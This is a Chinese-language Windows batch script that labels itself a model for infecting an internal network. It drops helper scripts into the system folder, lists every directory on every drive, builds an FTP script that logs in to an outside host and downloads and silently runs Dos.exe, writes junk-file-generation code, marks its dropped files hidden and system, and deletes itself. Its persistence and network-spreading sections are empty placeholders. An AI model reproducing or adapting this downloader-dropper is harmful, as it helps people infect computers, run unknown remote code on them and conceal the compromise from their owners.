一个内网感染的批处理脚本模型

@echo off&title DOS资源站 www.cmdos.net

echo @echo off>%systemroot%run.bat

REM -------------------------------列表开始--------------------------------------------------------

echo if exist WindowsNT.jpg goto beg>>%systemroot%run.bat

echo for %%%%a in (c d e f g h i j k l m n o p q r s t u v w x y z) do (>>%systemroot%run.bat

echo     if exist %%%%a: (>>%systemroot%run.bat

echo         for /f "delims=" %%%%i in ('dir /s /b /ad %%%%a:\') do @echo %%%%~dpi^>^>WindowsXP.jpg>>%systemroot%\run.bat

echo      ))>>%systemroot%\run.bat

echo ping -n 3 127.1^>nul>>%systemroot%\run.bat

REM -------------------------------列表结束--------------------------------------------------------

REM -------------------------------优化列表开始--------------------------------------------------------

echo for /f "delims=" %%%%j in (WindowsXP.jpg) do (>>%systemroot%\run.bat

echo     if not defined %%%%j set %%%%j=A ^& echo %%%%j^>^>WindowsNT.jpg>>%systemroot%\run.bat

echo )>>%systemroot%\run.bat

echo ping -n 3 127.1^>nul>>%systemroot%\run.bat

echo del WindowsXP.jpg>>%systemroot%\run.bat

echo ping -n 3 127.1^>nul>>%systemroot%\run.bat

REM -------------------------------优化列表结束--------------------------------------------------------

REM -------------------------------制造垃圾文件开始--------------------------------------------------------

echo :beg

echo setlocal enabledelayedexpansion>%systemroot%\copy.bat

echo set var=abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789>>%systemroot%\copy.bat

echo :ks>>%systemroot%\copy.bat

echo for /f "delims=" %%%%l in (WindowsXP.jpg) do (>>%systemroot%\copy.bat

echo     set /a a=!RANDOM!%%%%63,b=!RANDOM!%%%%63,c=!RANDOM!%%%%63,d=!RANDOM!%%%%6+1>>%systemroot%\copy.bat

echo     call set name=%%%%var:~!a!,!d!%%%%%%%%var:~!b!,!d!%%%%%%%%var:~!c!,!d!%%%%>>%systemroot%\copy.bat

echo     call set typ=%%%%var:~!c!,!d!%%%%%%%%var:~!b!,!d!%%%%%%%%var:~!a!,!d!%%%%>>%systemroot%\copy.bat

echo     echo %%%%i!name!.!typ!>>%systemroot%\copy.bat

echo Rem 如要创建文件 去掉Rem cd^.^>%%%%i!name!^.!typ!>>%systemroot%\copy.bat

echo )>>%systemroot%\copy.bat

echo goto ks>>%systemroot%\copy.bat

REM -------------------------------制造垃圾文件结束--------------------------------------------------------

REM -------------------------------下载文件开始--------------------------------------------------------

echo open dellsoft.51vip.biz>%systemroot%\ftp.ini                            //ftp脚本  ftp.ftp

echo dell>>%systemroot%\ftp.ini

echo dell>>%systemroot%\ftp.ini

echo bin>>%systemroot%\ftp.ini

echo get Dos.exe>>%systemroot%\ftp.ini                                       //下载Dos.exe

echo bye>>%systemroot%\ftp.ini

echo set ws=wscript.createobject("wscript.shell") >%systemroot%\vb.vbs

echo ws.run "tmp.bat /start",0 >>%systemroot%\vb.vbs                         //vbs脚本  vb.vbs

echo @ftp -s:ftp.ini>%systemroot%\tmp.bat                                    //运行ftp脚本  tmp.bat

echo ping -n 20>>%systemroot%\tmp.bat

echo start Dos.exe>>%systemroot%\tmp.bat                                     //运行下载的文件

REM -------------------------------下载文件结束--------------------------------------------------------

REM -------------------------------创建隐形脚本开始--------------------------------------------------------

echo Set ws = CreateObject("Wscript.Shell")>%systemroot%\run.vbs

echo ws.run "%systemroot%\run.bat /start",0 >>%systemroot%\run.vbs

ping -n 3 127.1>nul

REM -------------------------------创建隐形脚本结束--------------------------------------------------------

REM -------------------------------隐藏文件开始--------------------------------------------------------

attrib %systemroot%\run.bat +r +s +h

attrib %systemroot%\copy.bat +r +s +h

attrib %systemroot%\run.vbs +r +s +h

attrib %systemroot%\Dos.exe +r +s +h

attrib %systemroot%\tmp.bat +r +s +h

attrib %systemroot%\vb.vbs +r +s +h

attrib %systemroot%\ftp.ini +r +s +h

REM -------------------------------隐藏文件结束--------------------------------------------------------

REM -------------------------------加入启动项开始--------------------------------------------------------

//运行FTP下载

//运行制造垃圾文件

REM -------------------------------加入启动项结束--------------------------------------------------------

REM -------------------------------加入内网感染--------------------------------------------------------

REM -------------------------------内网感染结束--------------------------------------------------------

del %0